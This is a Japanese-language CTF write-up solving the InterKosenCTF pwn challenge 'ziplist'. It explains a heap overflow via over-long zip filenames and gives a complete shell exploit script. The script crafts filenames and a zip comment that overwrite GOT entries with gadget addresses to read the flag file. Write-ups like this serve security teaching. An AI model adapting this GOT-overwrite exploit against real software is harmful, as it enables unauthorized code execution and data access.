というわけで、第一ファイルの名前が64バイト以上であれば、その名前を保存するだめのメモリ範囲を超えてしまい、次のファイルの情報にオーバーフローします。もしその影響で次の CentralFileDirectoryHeader 仕組みの char *filename が上書きされるとなれば、次のファイル情報を書き込む際、新しいポインターを使用してしまい、任意書き込み脆弱性になります。

いざエクスプロイト!

#!/bin/sh
rm -rf work/
mkdir work/
cd work/

# ASLRが有効されてるため、実行する際に標準関数system()のアドレスが毎度変わってしまうため狙えません。
# PWN_BINSH1="`python2 -c 'print "b"*126 + "\x20\x20\x60\xaa\xaa\xaa\xaa\xaa"+"c"*90+"cat \xbbhome\xbbpwn\xbbflag\xaa"'`" # freadのポインターを上書き
# PWN_BINSH2="`python2 -c 'print "\x80\x73\xe2\xf7\xff\x7f\xaa\xaa"'`" # system関数のアドレス

# 0x602030に存在するstack protectorポインターを再宣伝して、JOP gadgetに移動する。それからgadgetによって 0x400c8f にあるデータをRDIにコピーします。
PWN_STACKPROTECTOR1="`python2 -c 'print "a"*126 + "\x30\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # stack protector @ GOT
PWN_STACKPROTECTOR2="`python2 -c 'print "\x8f\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfile()に存在する pop RDI -> pop ESI -> call perror

# perrorのGOTポインターを再宣言して、readfileの先頭アドレスへジャンプする。
PWN_PERROR_TO_READFILE1="`python2 -c 'print "b"*126 + "\x68\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # perror@GOT
PWN_PERROR_TO_READFILE2="`python2 -c 'print "\x53\x0c\x40\xaa\xaa\xaa\xaa\xaa"'`" # readfileの先頭アドレス

# readfile関数に渡す第一引数「data」をGOT領域に保存して置く。
PWN_STRING_AFTER_EXIT1="`python2 -c 'print "c"*126 + "\x78\x20\x60\xaa\xaa\xaa\xaa\xaa"'`" # exit@GOTの後
PWN_STRING_AFTER_EXIT2="`python2 -c 'print "\xbbhome\xbbpwn\xbbflag"'`" # readfileの第一引数

echo 'neko' > "$PWN_STACKPROTECTOR1"
echo 'chan' > "$PWN_STACKPROTECTOR2"
echo 'neko' > "$PWN_STRING_AFTER_EXIT1"
echo 'chan' > "$PWN_STRING_AFTER_EXIT2"
echo 'neko' > "$PWN_PERROR_TO_READFILE1"
echo 'chan' > "$PWN_PERROR_TO_READFILE2"
echo 'nekochannano' > nekochannano

# main関数のローカル変数 char *comment[64] に書き込まれるZIPコメントにGOT領域に保存して置いた文字列のポインターを入れて置きます。
python2 -c 'print "難し過ぎるわ" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"*2 + "AB\x78\x20\x60\xaa\xaa\xaa\xaa\xaaA"' | zip -z winners.zip \
"$PWN_STACKPROTECTOR1" \
"$PWN_STACKPROTECTOR2" \
"$PWN_PERROR_TO_READFILE1" \
"$PWN_PERROR_TO_READFILE2" \
"$PWN_STRING_AFTER_EXIT1" \
"$PWN_STRING_AFTER_EXIT2" \
nekochannano \<200c>

# sedでzipコマンドで使えないヌール文字を変換します。
sed -i -s 's/\xaa/\x00/g' winners.zip
sed -i -s 's/\xbb/\//g' winners.zip

結果

最後に、生成したzipアーカイブをウェブサーバーにアップロードすると、、!

f:id:d3npa:20190323085229p:plain

f:id:d3npa:20190323085244p:plain

以上 #InterKosenCTF の Pwn問題「ziplist」の解答方法でした。